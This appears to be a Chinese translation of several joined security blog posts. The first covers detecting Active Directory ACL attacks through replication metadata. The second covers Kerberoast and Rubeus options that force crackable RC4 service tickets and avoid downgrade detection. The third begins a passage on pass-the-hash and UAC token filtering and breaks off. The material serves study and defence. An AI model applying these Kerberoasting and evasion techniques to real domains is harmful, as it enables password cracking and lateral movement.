随着 BloodHound 最近发布的 ACL 攻击路径更新,以及@wald0和我自己对活动目录中的 DACL 后门的研究(请点击这里查阅白皮书) ,我开始从防御的角度研究基于 ACL 的攻击路径。 Sean Metcalf 在活动目录威胁检测方面做了一些很棒的工作(参见他在2017年 BSides Charm上的"Detecting the elive: Active Directory Threat Hunting"的演讲) ,在本文中我想展示复制元数据如何帮助检测这种类型的恶意活动。

此外,在这篇文章起草之后,Grégory LUCAND 向我指出了他在同一主题领域写的一篇广泛的文章(法语) ,题为"元数据复制在活动目录取证分析中的应用(法语版)"。 他详细介绍了 OU 的更改,以及一些复制组件(如链接值复制)的工作方式,并对此进行了深入研究(比本文更深入)。 我强烈建议你查看他的文章,即使你不得不像我一样使用谷歌翻译阅读他的文章。

我将深入研究一些与域复制元数据有关的背景知识,然后将分析每个 ACL 攻击原语以及如何检测到这些修改行为。 不幸的是,复制元数据可能有一些限制,但它至少可以帮助我们缩小发生的修改事件以及事件发生的域控制器的范围。

注意: 本文中的所有的例子都使用了我的测试域环境,它运行在 Windows 2012 r2的域功能级别。 其他域功能版本将有所不同。 此外,所有的例子都是在实验室环境中完成的,因此在真实网络中的确切行为也会有所不同。

活动目录 复制元数据

当对活动目录中的域控制器中的域对象进行更改时,这些更改将复制到同一域中的其他域控制器(请参阅这里的"目录复制"部分)。 作为复制过程的一部分,关于复制的元数据保留在两个构造的属性中,即从其他属性计算最终值的属性。 这两个属性分别是 msDS-ReplAttributeMetaDataand和 msDS-ReplValueMetaData

旁注: 我在复制元数据方面的前期工作包括这篇关于跟踪 UPN 修改的文章,以及这个系列中关于这些数据的不同用例文章。 这些文章阐述了如何使用 REPADMIN/showobjmeta 以及Active Directory cmdlet 枚举和解析返回的 XML 格式化数据。 几个月前,我push了一个 PowerView 提交,它简化了这个枚举的过程,我将在本文中演示这些新的函数。

msDS-ReplAttributeMetaData

1.1.1

首先,我们如何知道哪些属性被复制了? 对象属性本身在林模式中表示,并包含了一个包含各种元设置的 systemFlags 属性。 包括 FLAG_ATTR_NOT_REPLICATED 标志,它指示不能复制给定的属性。 我们可以使用 PowerView 快速枚举所有这些不可复制的属性,使用按位查询的 LDAP过滤器检查这个标志:

Get-DomainObject -SearchBase 'ldap://CN=schema,CN=configuration,DC=testlab,DC=local' -LDAPFilter '(&(objectClass=attributeSchema)(systemFlags:1.2.840.113556.1.4.803:=1))' | Select-Object -Expand ldapdisplayname

1.png

如果我们想要获得可以被复制的属性,我们可以添加!字符否定过滤器的逻辑:

Get-DomainObject -SearchBase 'ldap://CN=schema,CN=configuration,DC=testlab,DC=local' -LDAPFilter '(&(objectClass=attributeSchema)(!systemFlags:1.2.840.113556.1.4.803:=1))' | Select-Object -Expand ldapdisplayname


2.png

因此,针对上述对象集合中的任何属性的更改都会复制到其他域控制器,因此,在 msDS-ReplAttributeMetaData 中具有复制元数据的信息(链接属性除外,稍后将详细介绍)。 因为这是一个构造的属性,所以我们必须指定在 LDAP 搜索期间计算这个属性。 幸运的是,你可以使用PowerView为 Get-Domain* 函数指定 -Properties msDS-ReplAttributeMetaData 来实现这一点:

Picture1.png

可以看到,我们得到了一个 XML 文本数组,它描述了修改事件。 Powerview 全新的 Get-DomainObjectAttributeHistory 函数将自动查询一个或多个对象的 msDS-ReplAttributeMetaData,并将 XML 文本块解析为自定义 PSObjects:

4.png

分解每个结果,我们得到了对象本身的区别名称、复制属性的名称、最后一次更改属性的时间(LastOriginatingChange)、属性更改的次数(Version) ,以及目录服务代理的区别名称(修改自LastOriginatingDsaDN)。

旁注: “解析 LastOriginatingDsaDN”部分描述了如何将这个大家所熟知的名称解析为合适的域控制器对象本身。 不幸的是,我们不知道是谁进行了更改,也不知道前面的属性值是什么; 但是,我们仍然可以用这些数据做一些有趣的事情,稍后我将进行介绍。

msDS-ReplValueMetaData

为了理解 msDS-ReplValueMetaData 以及为什么它与 msDS-ReplAttributeMetaData 分离,你需要理解 活动目录 中的链接属性。 Windows Server 2003域功能级别中的链接值复制"允许单独复制多值属性的值。" 。在英文中,构造或依赖于其他属性的属性被打破,这样整体的一部分可以被一个一个地复制,而不是一次性复制整个分组。 这是为了减少现代域环境中的复制流量而引入的。

使用链接属性,活动目录 从另一个属性(称为前向链接)的值计算给定属性(称为反向链接)的值。 最好的例子是组成员关系的 member和 memberof : 组的member属性是前向链接,而用户的memberof 属性是反向链接。 枚举用户的memberof 属性时,反向链接会延伸到以生成最终的成员关系集。

关于前向链接和反向链接,还有两个需要注意的地方。 首先,前向链接是可写的,而反向链接是不可写的,因此当前向链接属性更改时,相关的反向链接属性的值将自动更新。 其次,由于这个原因,域之间只复制前向链接的属性,然后自动计算反向链接。 要了解更多信息,请查看这篇关于这个主题的文章

对我们来说,一个巨大的优势是,由于前向链接属性以这种方式复制,这些属性的原来的值存储在复制元数据中。 这正是 msDS-ReplValueMetaData 构造的属性存储的内容,也是 XML 格式的。PowerView中 新的 Get-DomainObjectLinkedAttributeHistory 函数为你包装了以下内容:

5.png

现在我们知道 member 和 memberof 是一个链接集合,因此上面的修改结果是针对 member 的。

为了枚举所有前向链接的属性,我们可以再次检查林模式。 链接属性在模式中有一个 Link 和 LinkID ——前向链接有一个偶数的非零值,而反向链接有一个奇数的非零值。 我们可以使用[DirectoryServices.ActiveDirectory.ActiveDirectorySchema]::GetCurrentSchema() 获取当前模式,然后可以使用 FindAllClasses ()方法枚举当前的所有模式类。 如果我们按照偶数的类属性进行筛选,我们可以找到所有链接的属性,因此这些属性的原有的值会被复制到 活动目录元数据中。

6.png

这里有很多结果,但不幸的是,我们可能关心的主要结果是 member / memberof 和 manager / directreports。 因此,member和manager是对象中唯一有趣的属性,我们可以跟踪以前的修改值。 然而,与 msDS-ReplAttributeMetaData 一样,我们依旧看不到实际上是谁发起了更改。

利用复制元数据检测恶意活动

好吧,我们有一堆看似随机的复制元数据,我们到底怎么用它来"发现不好的地方呢?" 元数据不会神奇地告诉你一个完整的故事,但是我相信它可以为你指明正确的方向,而且还有一个额外的好处,那就是已经存在于你的域中的功能。 我将逐一分解检测@wald0和我自己提到的每个 ACL 攻击原语的过程,但对于大多数情况,检测过程如下:

1. 使用 活动目录复制元数据检测针对对象属性的更改可能 会发现一些恶意行为。

2. 从链接到更改的域控制器中收集详细的事件日志(如元数据的指标) ,以便跟踪谁执行了更改,以及更改的值是什么

这个检测过程有一个小小的例外:

组成员资格修改

这个例子的修改行为检测是最简单的。 控制关系是将成员添加到组中的权限(WriteProperty 到 Self-Membership) ,而通过 PowerView 的攻击原语是 Add-DomainGroupMember。 让我们看看 Get-DomainObjectLinkedAttributeHistory 中的信息可以告诉我们什么:

7.png

在第一个条目中,我们看到'EvilUser'最初是在21:13添加的(TimeCreated) ,现在仍然存在(TimeDeleted 为 epoch)。 版本为3意味着 EvilUser 最初是在TimeCreated时添加的,在某个时刻被删除,然后在17:53重新读取(LastOriginatingChange)。 注意: 这些时间戳格式是 UTC!

在第二个示例中,TestOUUser 在21:12(TimeCreated)时被添加到组中,并在21:19(TimeDeleted)时被删除。Version 为偶数以及TimeDeleted的值为非epoch,那么这意味着该用户不再出现在组中,并且在指定的时间被删除。 Powerview 的最新函数 Get-DomainGroupMemberDeleted 只返回元数据组件,指示已删除的用户:

8.png

如果我们需要更多的细节,我们可以查看目录系统代理(DSA) ,这个目录系统代理是更改的源头,也就是在这个环境中处理更改的域控制器代理(在这里是主域控)。 由于我们有被修改的组(TestGroup)和发生更改的大致时间(UTC 时间21:44) ,我们可以去启动更改的域控制器服务器(主域控)获取更多的事件日志细节(参见"旁注: 解析 LastOriginatingDsaDN"部分获得更多关于这个过程的更多细节)。

我们真正想要的审计在默认情况下是不开启的,但是可以通过"本地计算机策略-计算机配置-Windows 设置-安全设置-高级审计策略配置-帐户管理-审计安全组管理"来启用:

9.png

这将生成事件日志 id 为4735/ 4737/4755的日志,用于修改域本地、全局和全局范围的安全组:

10.png

我们可以在事件细节中看到,TESTLAB\dfm.a 是发起更改的主体,它与我们在复制元数据中观察到的删除事件相关。

用户服务主体名称修改

这是另一个很有趣的例子。 绝大多数用户将永远不会有服务主体名称(SPN)的设置,除非帐户注册为… 运行服务。 SPN 修改是我以前提到过的一种攻击原语,它为我们提供了一个很好的机会来利用元数据的"Version"字段,即属性被修改的次数。

如果我们为一个用户设置了一个 SPN然后再解除这个设置,那么与属性元数据相关联的 Version字段的值将是偶数,这表明曾经有一个集合形式的值:

11.png

如果我们启用「审核用户帐户管理」及「审核计算机帐户管理」设置,我们可以得到更多有关更改的详细信息:

12.png

事件 ID 为4738,但不幸的是,事件日志详细信息在更改时不会显示 servicePrincipalName 的值。 然而,我们再次得到了发起这一更改的主体:

13.png

注意,事件记录的时间戳与复制元数据的 LastOriginatingChange 是匹配的。 如果我们想对每个有 SPN 集合的用户帐户进行大规模枚举,然后删除它们,我们可以使用-LDAPFilter'(samAccountType 805306368)'-Properties servicePrincipalName,并过滤掉任何带有奇怪 Version 的内容:

14.png

对象所有者 /DACL更改

我最初认为这个场景也很困难,因为我已经猜到,每当在 OU 上更改委派时,那些新的权限都会反映在继承链上的任何用户对象的 ntSecurityDescriptor 中。 但是,我错了——任何委派更改都在 OU/容器的 ntSecurityDescriptor 中,我相信这些继承的权限是由服务器在 LDAP 枚举上计算的。 换句话说,用户/组/计算机对象的 ntSecurityDescriptor 只有在显式更改所有者,或者手动向该对象添加新的 ACE 时才应该更改。

由于对象的 DACL 和所有者都存储在 ntSecurityDescriptor 中,而且事件日志数据不提供关于前一个或更改的值的详细信息,因此我们无法知道它是 DACL 还是基于所有者的更改。 然而,我们仍然可以通过使用事件4738来找出是谁发起了这次更改:

15.png

16.png

就像使用 SPN 一样,我们也可以清除任何用户(或其他对象)的 DACL 或所有者更改后的值(即Version 的值大于1) :

17.png

如果我们定期枚举所有用户或其他对象的所有数据,我们就可以开始记录时间线并计算变更增量,不过这就是另一篇文章要说明的内容了:)

重置用户密码

首先,不幸的是,这个例子可能是最困难的部分。 由于密码更改 或重置相当常见,因此很难仅仅根据上次设置的时间从数据中提取出一个模式。 幸运的是,启用"Audit User Account Management"策略还会生成事件4723(用户更改了自己的密码)和事件4724(启动了密码重置) :

18.png

我们得到了重置的时间,被强制重置密码的用户以及初始化它的主体!

组策略对象编辑

如果你能够跟踪恶意的 GPO 编辑行为,并想知道受影响的系统 和用户,那么你可以阅读我的这篇文章,这篇文章中会谈到过相关的检测过程。 但是,本节将集中于尝试识别哪些文件被编辑以及被谁编辑。

每次修改 GPO 时,versionNumber 属性都会增加。 因此,如果我们提取与上次修改 versionNumber 有关的属性元数据,并将这次(作为一个范围)与 SYSVOL 路径中的所有文件和文件夹的编辑关联起来,我们就可以识别那些可能由于上次对 GPO 的编辑而被修改的文件。 以下是我们可以做到这一点的方法:

19.png

你可以看到上面的 Groups.xml 组策略首选项文件很可能是经过编辑的文件。 为了确定哪个用户做了更改,我们需要调整"本地计算机策略-计算机配置-Windows 设置-安全设置-高级审计策略配置-DS 访问-审计活动目录服务更改":

20.png

然后,我们可以梳理5136这个事件 ID,并使用警报数据来缩小导致 versionNumber 修改的事件范围:

21.png

我们可以看到 GPO 对象的区别名称(DN)正在被修改,以及是谁发起了更改。 如果你感兴趣的话,这里还有一些更多的信息供你参考

旁注: 解析 LastOriginatingDsaDN

正如我前面提到的,LastOriginatingDsaDN 属性表示发生给定的更改来自的最后一个目录服务代理。 为了充分利用这些信息,我们希望将这个特殊的 DSA 记录映射回它所运行的域控制器。 不幸的是,这是一个多步骤的过程,但我将在下面使用 PowerView 向你详细介绍。

假设我们要追踪的更改是下图中已删除的域管理员组成员:

22.png

我们看到 DSA 区别名称存在于关联域的 CN=Configuration容器中。 我们可以使用 PowerView 的 Get-DomainObject 检索这个引用的完整对象,并将 -SearchBase 设置为" ldap://CN=Configuration,DC=testlab,DC=local ":

23.png

我们在上面看到它有一个 NTDS-DSA 对象类别,并且我们看到一个 serverreferencebl (反向链接)属性指向正确的方向。 如果我们解析这个新对象 DN,我们会得到如下结果:

24.png

现在我们在这个新结果的 msdfsr-computerreference 属性中看到了实际的域控制器区别名称,并且serverreference 与我们初始结果中的LastOriginatingDsaDN 相匹配。 这意味着我们可以跳过中间步骤,通过自定义的 LDAP 过滤器,查询通过 serverreference 属性链接的 ms-DFSR-Member 对象目录。 最后,我们可以提取 msdfsr-computerreference 属性并将其解析为实际的域控制器对象:

25.png

成功了!

总结

希望这至少会引起一些人从 活动目录方面考虑恶意活动检测和取证的可能性。 这里有很多机会来检测我们提出的基于 ACL 的攻击组件,以及无数其他活动目录的攻击技术。 而且,善于观察的读者可能已经注意到了,我忽略了整个防御组件,即系统访问控制列表(SACLs) ,它提供了实现附加审计的机会。 我将在以后的文章中介绍 SACL,展示如何利用 BloodHound 识别"关键领域"来设置非常具体的 SACL 审计规则。

Rebeus是一个用C#编写Kerberos 滥用工具包,最初是由@gentilkiwi 编写的 Kekeo 工具包中的一个端口,这个工具包从那时起就在不断发展。要了解更多关于 Rubeus 的信息,请查看"从 Kekeo 到 Rubeus"这篇文章后续的"Rubeus ——Now With More keo"或最近修订的 Rubeus README.md

我最近对 Rubeus 做了一些改进,其中包括重新审查了它的 kerberos 实现。 这导致了对 Rubeus 的 Kerberoast 方法的一些修改,也解释了我们之前在这个领域看到的一些"奇怪"的行为。 由于 kerberos 是一种如此常用的技术,现在我们已经对它的细微差别有了更好的理解,因此我想深入研究细节。

如果你不熟悉 Kerberoast,现有的大量信息可供你查阅,其中一些我在这篇文章的开头做过一些讨论。 如果你对 Kerberos (或 Kerberos)的工作原理没有一个基本的了解,那么这篇文章的大部分内容对你来说就没有什么意义,所以如果你对这些概念感到不舒服的话,我强烈推荐你多读一些相关的文章。 但是这里有一个关于 kerberos 执行过程的简短总结:

1. 攻击者对一个域进行身份验证,然后从域控制器服务器获得一个票证授予票证(TGT) ,该票证授予票证用于以后的票证请求

2. 攻击者使用他们的 TGT发出服务票证请求(TGS-REQ) 获取特定形式(sname/host)的 servicePrincipalName (SPN), 例如,MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName字段中注册。 在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。

3. 如果攻击者的 TGT 是有效的,则 DC 将从 TGT 中提取信息并填充到服务票证中。 然后,域控制器查找哪个帐户在 servicedprincipalname 字段中注册了所请求的 SPN。 服务票证使用注册了所要求的 SPN 的帐户的哈希进行加密, 并使用了攻击者和服务帐户都支持的最高级别的加密密钥。 票证以服务票证回复(TGS-REP)的形式发送回攻击者。

4. 攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

本文中我们将要提到的三种主要加密密钥类型分别是RC4_HMAC_MD5 (ARCFOUR-HMAC-MD5,其中帐户的 NTLM 散列函数作为密钥)、 AES128_CTS_HMAC_SHA1_96和 AES256_CTS_HMAC_SHA1_96。 为了简单起见,我将它们称为 RC4、 AES128和 AES256。

此外,这里所有的例子都是在 Windows 10客户端上运行的,而Server 2012域控制器是一个2012 R2的域功能级别。

Kerberoast 方法

Kerberos 通常采用两种通用的方法:

· Kerberos 协议的一个独立实现,通过连接到网络上的设备使用,或者通过 SOCKS 代理将精心设计的流量作为输入。 例如 Meterpreter 或者Impacket。这需要一个域帐户的凭据来执行roasting,因为需要请求一个 TGT 在以后的服务票证请求中使用。

· 在域联接的主机上使用内置的 Windows 功能(如.NET KerberosRequestorSecurityToken . Net kerberos / requestorsecuritytoken类)请求票证,然后使用Mimikatz 或Rubeus  从当前登录会话中提取票。另外一种可供选择的方法是几年前@machosec 意识到GetRequest() 方法可以用来从 KerberosRequestorSecurityToken 中挖掘出服务票证字节,这意味着我们可以放弃使用 Mimikatz 来提取票证。 这种方法的另一个优点是,现有用户的 TGT 可用于请求服务票证,这意味着我们不需要明文凭证或用户的散列来执行 kerberos 广播。

要利用Kerberoast,我们就真的需要 RC4加密类型的服务票证响应,因为这比其他的 AES 加密类型更容易被破解。如果我们在攻击者一方实现了协议,我们就可以选择在服务票证请求过程中指定我们只支持 RC4,从而更容易破解散列格式。 在主机端,我过去认为 KerberosRequestorSecurityToken方法默认请求的是 RC4加密的票证,因为通常返回的就是这个,但实际上"正常"票证请求行为发生在所有支持的密码都得到支持的情况下才会发生。 那么为什么这种方法通常会返回 RC4哈希呢?

是时候快速绕道了。

msDS-SupportedEncryptionTypes

我们过去讨论过的一个防御指标是"加密降级活动"。 由于现代域(功能级别在2008及以上)和计算机(vista / 2008 +)默认支持在 Kerberos 交换中使用 AES 密钥,因此在任何 Kerberos 票证授予票证(TGT)请求或服务票证请求中使用 RC4都应该是异常的。 肖恩 · 梅特卡夫有一篇名为"检测 Kerberoast 攻击活动"的优秀文章,其中涵盖了如何处理 DC 事件来检测这种类型的攻击行为,尽管他指出"可能会出现误报"。

为什么这种方法会出现误报的问题,这个问题的完整答案也解释了我多年来看到的一些使用 Kerberoast的"奇怪"行为。

为了说明这一点,假设我们有一个在其 servicePrincipalName (SPN)属性中注册了 MSSQLSvc/SQL.testlab.local 的用户帐户sqlservice 。 我们可以使用

powershell -C ”Add-Type -AssemblyName System.IdentityModel; $Null=New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList ‘MSSQLSvc/SQL.testlab.local”

为此 SPN 请求服务票证。 然而,应用于当前登录会话的结果服务票证指定使用 RC4,尽管请求用户的(harmj0y) TGT 使用的是 AES256。

 1.png

如前所述,由于某种原因,长期以来我认为 KerberosRequestorSecurityToken方法特别需要 RC4。 然而,看一下 Wireshark 从客户端捕获的 TGS-REQ (Kerberos 服务票证请求) ,我们可以看到所有适当的加密类型(包括 AES)都被指定为支持:

2.png

正如我们所期望的那样,返回的 TGS-REP (服务票证应答)中的enc-part部分使用发起请求的客户端的 AES256密钥进行了适当的加密。 然而,我们关心的用于 Kerberoast 的 enc-part 部分(包含在返回的服务票证中)是用sqlservice帐户的 RC4密钥(而不是 AES 密钥)加密的:

3.png

到底发生了什么?

事实证明,这与 KerberosRequestorSecurityToken方法无关。 这个方法请求了一个由提供的 SPN 指定的服务票证,这样它就可以构建一个包含 SOAP 请求的服务票证的 AP-REQ,我们可以在上面看到它执行的"正常"请求并声明它支持 AES 加密类型。

这种行为是由于 msDS-SupportedEncryptionTypes 域对象属性引起的,Jim Shaver 和 Mitchell Hennigan 在他们的 DerbyCon——"Return From The Underworld: The Future Of Red Team Kerberos"演讲中谈到了这一点。 此属性是在[ MS-KILE ]2.2.7中定义的一个32位无符号整数,表示具有以下可能值的位字段:

4.png

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/6cfc7b50-11ed-4b4d-846d-6f08f0812919

根据微软的[ MS-ADA2]说明 ,"密钥分发中心(KDC)使用这些信息[ msDS-SupportedEncryptionTypes ]同时为这个帐户生成服务票证。" 因此,即使域支持 AES 加密(即域功能在2008及以上) ,在请求的 SPN 注册的帐户上,msDS-SupportedEncryptionTypes 字段的值决定了 Kerberoast 流程中返回的服务票证的加密级别。

根据 MS-KILE 3.1.1.5的说明,该字段在 Windows 7+ 和 Server 2008R2+上默认值分别是0x1C (RC4_HMAC_MD5 | AES128_CTS_HMAC_SHA1_96 | AES256_CTS_HMAC_SHA1_96 = 28)。 这就是为什么机器的服务票证几乎总是使用 AES256的原因,因为最高的且相互支持的加密类型将用于 Kerberos 票证交换。 我们可以通过在Rubeus.exe klist 后执行dir \\primary.testlab.local\C$来确认这一结果:

5.png

但是,此属性仅在默认情况下设置在计算机帐户上,而不是在用户帐户上。 如果该属性没有定义,或者设置为0,[MS-KILE]3.3.5.7告诉我们默认使用的值是0x7,这意味着将使用 RC4对服务票证进行加密。 因此,在前面的例子中,注册到用户帐户 sqlservice的MSSQLSvc/SQL.testlab.local SPN中,我们收到的是使用 RC4加密的票证。

如果我们在活动目录的用户账户和计算机账户中选择"This account supports AES [128/256] bit encryption",那么 msDS-SupportedEncryptionTypes 就会被设置为24,并且指定只支持 AES 128/256加密。

6.png

7.png

当我第一次研究这个问题时,我假设这意味着既然 msDS-SupportedEncryptionTypes 值是非空的,而且 RC4的标志位并不存在,那么如果在为一个帐户请求服务票证时(通过 /tgtdeleg 标志)只指定为 RC4,交换票证的时候就会出现错误。

但是你猜怎么着? 我们仍然得到一个 RC4(类型是23)加密的票证,我们可以破解这个票证!

8.png

通过Wireshark 抓包确认 RC4是请求中唯一受支持的 etype值,而且票证的 enc-part 实际上是用 RC4加密的。

¯\_(ツ)_/¯

我假设这是出于故障安全向后兼容的原因,并且我在多个测试域中运行了这个场景,得到了相同的结果。 然而,当我要求其他人复现时却无法做到这一点,所以我不确定我是否遗漏了什么,或者这是否准确地反映了正常的域的行为。 如果任何人有更多关于这个的信息,或者不能复现,请告诉我!

为什么上述问题很重要? 因为如果那是真的的话,这就意味着在用户账户上禁用 RC4_HMAC 似乎不是一个简单的方法。 这意味着,即使你使用 servicePrincipalName 字段设置了对用户帐户启用 AES 加密,这些帐户仍然会使用对黑客友好的 RC4进行加密,从而可以继续执行 Kerberoast攻击!

经过一些测试,似乎如果你使用这篇文章里描述的方法在域或域控制器级别禁用 RC4 ,那么为任何帐户请求 RC4服务票证都将失败。 然而,TGT 请求也不再适用于 RC4。 因为这可能会导致很多东西出现问题,所以在生产环境中做任何改变之前,一定要先在实验室环境中先尝试进行类似的测试。

旁注: 还可以为表示域信任的 trustedDomain 对象设置 msDS-SupportedEncryptionTypes 属性,但它最初也是未定义的。 这就是为什么内部域的信任票证最终默认使用的是 RC4:

9.png

然而,与用户对象一样,这种行为可以通过修改可信域对象的属性来改变,指定外部域支持 AES:

10.png

这将可信域对象上的 msDS-SupportedEncryptionTypes 的值设置为24(AES128_CTS_HMAC_SHA1_96 | AES256_CTS_HMAC_SHA1_96) ,这意味着内部域将默认发出AES256加密的信任票证:

11.png

尝试建立一个更好的 Kerberoast

由于我们倾向于执行约定的方式,因此,我们经常会倾向于滥用基于主机的功能,而不是在来自攻击者服务器上的我们自己的协议实现中的管道。 我们经常在高延迟的命令和控制服务器(C2)上操作,所以对于像 Kerberos 这样复杂的多方交换,我们的个人偏好传统上总是在使用 KerberosRequestorSecurityToken 方法。 但是正如我在第一个章节中提到的,这个方法在请求服务票证时会请求最高支持的加密类型。 对于启用了 AES 的用户帐户,此默认方法将返回加密类型为 AES256的票证(哈希中的类型是18) :

12.png

现在,Rubeus 的 Kerberoast攻击的一个明显的替代方法是允许指定一个现有的 TGT 块或者文件,然后在票证请求中使用它。 如果我们有一个真正的 TGT,并且正在实现原始的 TGS-REQ或TGS-REP过程并手动提取出正确的加密部分,那么我们可以在发出服务票证请求时指定需要的支持的任何加密类型。 因此,如果我们有启用了AES 的帐户,我们仍然可以得到一个基于 RC4的票证,然后进行离线破解! 实际上,这种方法现在是在 Rubeus 中使用kerberoast 命令的 /ticket:<blob/file.kirbi参数实现的。

那么这种做法的缺点是什么呢?首先,你需要一个票证授予票证来构建原始的 TGS-REQ 服务票证请求,所以你需要: a)在系统上特权升级后并提取出另一个用户的 TGT; b)拥有一个用户的散列,你可以使用 asktgt模块来请求一个新的 TGT。 如果你好奇为什么用户不能在没有特权提升的情况下提取出可用的 TGT 版本,请查看"Rubeus — Now With More Kekeo"这篇文章中的解释。

解决方案是@gentilkiwiKekeo tgtdeleg 技巧,它使用 Kerberos GSS-API 为启用了无约束委派的目标 SPN 请求了一个"假"委派(例如 cifs/DC.domain.com)。 这是以前在 Rubeus 中使用 tgtdeleg 命令实现的。 这种方法允许我们为当前用户提取可用的 TGT,包括会话密钥。为什么我们不在对"易受攻击的"SPN 执行 TGS-REQ 时使用这个"假冒"的委派 TGT,并指定 RC4作为我们支持的唯一加密算法呢?

新的  kerberost /tgtdeleg 选项就是这样做的!

13.png

14.png

在这个字段中,默认的 KerberosRequestorSecurityToken Kerberoast 方法也有失败的时候——我们希望 /tgtdeleg选项可以在其中的一些情况下仍然可以正常工作。

如果我们想更进一步,避免可能的"加密降级"指示器,我们可以搜索不支持 AES 加密类型的帐户,然后声明我们支持服务票证请求中的所有加密类型。 由于结果支持的最高加密类型将是 RC4,我们仍然会得到可破解的票证。 kerberoast /rc4opsec 命令执行 tgtdeleg 技巧并过滤掉这些启用了AES的帐户:

15.png

如果我们想要相反的结果,并且只想要启用了 AES 的帐户,/aes 标志将执行相反的 LDAP 过滤器。 虽然我们目前没有工具来破解使用 AES 的票证(即使我们这样做了,由于 AES 关键的推导算法将使得破解速度会慢上千百倍) ,但是破解的方法正在研究中。

用于 Kerberoast广播的 /tgtdeleg 方法的另一个优点是,由于我们正在手动构建和解析 TGS-REQ/TGS-REP流量,服务票证将不会在我们正在使用的系统上进行缓存。 默认的 KerberosRequestorSecurityToken方法导致在当前登录会话中为我们正在处理的每个 SPN 缓存了一个服务票证。 /tgtdeleg方法导致一个附加的cifs/DC.domain.com 票证被添加到当前的登录会话中,最小化了潜在的基于主机的指示器(即用户登录会话中的大量服务票证)。

作为参考,我在 README 中整理了一个比较了在Rubeus中的不同的kerberost方法的表格:

16.png

最后要说明的是,从这个commit开始,kerberost应该比域信任更有效。 在 README 的 kerberoast 章节中我添加了两个外部可信域的示例。

总结

希望这篇文章的内容消除了一些人(比如我)可能对 kerberoast 的不同加密支持产生的一些困惑。 我也渴望人们尝试使用新的 Rubeus Kerberoast参数,看看他们在该领域会如何工作。

像往常一样,如果我在这篇文章中犯了一些错误,请让我知道,我会尽快纠正它! 此外,如果有人对 “RC4票证依旧可用于仅支持AES的账户”这种情况有什么看法,请给我发电子邮件(will [at] harmj0y. net)或者在 https://bloodhoundgang.herokuapp.com/ 上找我。

高级域渗透技术之传递哈希已死-LocalAccountTokenFilterPolicy万岁

来源:https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167

大约三年前,我写了一篇名为"传递哈希已死: 长久的哈希传递方法介绍"的文章,详细阐述了微软 KB2871997补丁的一些操作含义。 在安全建议中有一句特别的话,"这个功能的改变包括: 防止网络登录和使用本地帐户远程交互登录到加入域的机器… …"使我相信(在过去3年中)补丁修改了 Windows 7和 Server 2008的行为,以防止通过非 rid 500的本地管理员帐户传递哈希的能力。 我的同事Lee Christensen最近指出,尽管微软的措辞如此,但这种说法实际上是不正确的,而且情况比我们最初认为的要微妙得多。 值得注意的是,pwnag3的开创性文章"微软刚刚发布的KB2871997和 KB2928120打破了什么?"也遭受了和我最初发表的文章一样的误解。

我们现在对这些话题有了更好的理解,并希望尽可能地澄清事实。 这是我对最终认识到 KB2871997在大多数情况下与阻止 Windows 企业使用 pass-the-hash"复杂化"毫无关系的道歉。 对于近3年来传播错误信息的道歉-我希望弥补我的过错:)一如既往,如果在这篇文章中有错误,请让我知道,我会更新!

澄清 KB2871997 补丁的误解

那么,如果这个补丁不能自动"防止网络登录和远程交互式登录到使用本地帐户加入域的机器",那它实际上做了什么呢? 正如 Aaron Margosis 所描述的,该补丁引入了两个新的安全标识符(sid) : S-1-5-113(NT AUTHORITY Local account)和 S-1-5-114(NT AUTHORITY Administrators 用户组的本地账户和成员)。 正如 微软官方的文章中详细介绍的那样,可以通过组策略使用这些 sid 来有效地阻止远程登录使用所有本地管理帐户。 请注意,虽然 KB2871997将这些 sid 反向移植到 Windows 7和 Server 2008 / 2012,但它们在 Windows 8.1和 Server 2012 R2 + 的操作系统中默认合并了。 这是Sean Metcalf 之前提到过的Araon在微软文章的评论中特别阐明了这一点

旁注: 幸运的是,这也意味着在域上经过身份验证的任何用户都可以枚举这些策略并查看哪些机器设置了这些限制。 我将在以后的文章中介绍如何执行这种类型的枚举和相关性。

我错误地认为,这个补丁修改了 Windows 7机器上的现有行为。 自从 Windows Vista 以来,攻击者一直无法将哈希传递给非内置的 RID 500 Administrator 的本地管理员帐户(在大多数情况下,请参阅下面给出的更多内容)。 在这里我们可以看到 KB2871997没有安装在基本的 Windows 7上:

Picture1.png

然而,使用本地管理员成员的非 rid 500的admin帐户执行 哈希传递攻击会失败:

Picture2.png

因此,这种行为甚至在 KB2871997发布之前就存在了。 造成这种混淆的部分原因是安全警告中使用的语言,但我对没有经过充分测试情况和转达正确的信息负有责任。 虽然我们强烈推荐 Aaron 的建议,即在这些新的 sid 中部署 gpo,以帮助缓解内网渗透,但我们仍然对保留了KB的原始标题的权利感到得意;)

Picture3.png

远程访问和用户帐户控制

那么,如果补丁不影响这种行为,那又是什么阻止了我们使用本地管理员帐户传递哈希呢? 为什么 RID 500帐户可以作为特殊情况运作? 此外,为什么作为本地管理员用户组成员的域帐户也不受这种阻止行为的影响? 此外,在过去的几年中,我们还注意到在一些约定,传递-哈希攻击仍然可以在非 rid 500的本地管理员帐户上工作,尽管补丁正在应用。 这种行为一直困扰着我们,但我们认为我们最终可以解释所有这些矛盾。

所有这些问题的真正罪魁祸首是远程访问上下文中的用户帐户控制(UAC)令牌过滤。 我一般总是在本地主机操作的上下文中会考虑 UAC,但是这对于远程情况也有各种各样的含义。 微软官方的"Windows Vista 应用程序开发对用户帐户控制兼容性的要求"文档中的"用户帐户控制和远程场景"部分以及"Windows Vista 中用户帐户控制和远程限制的描述"部分都多次解释了这种行为,并为我个人澄清了几点。

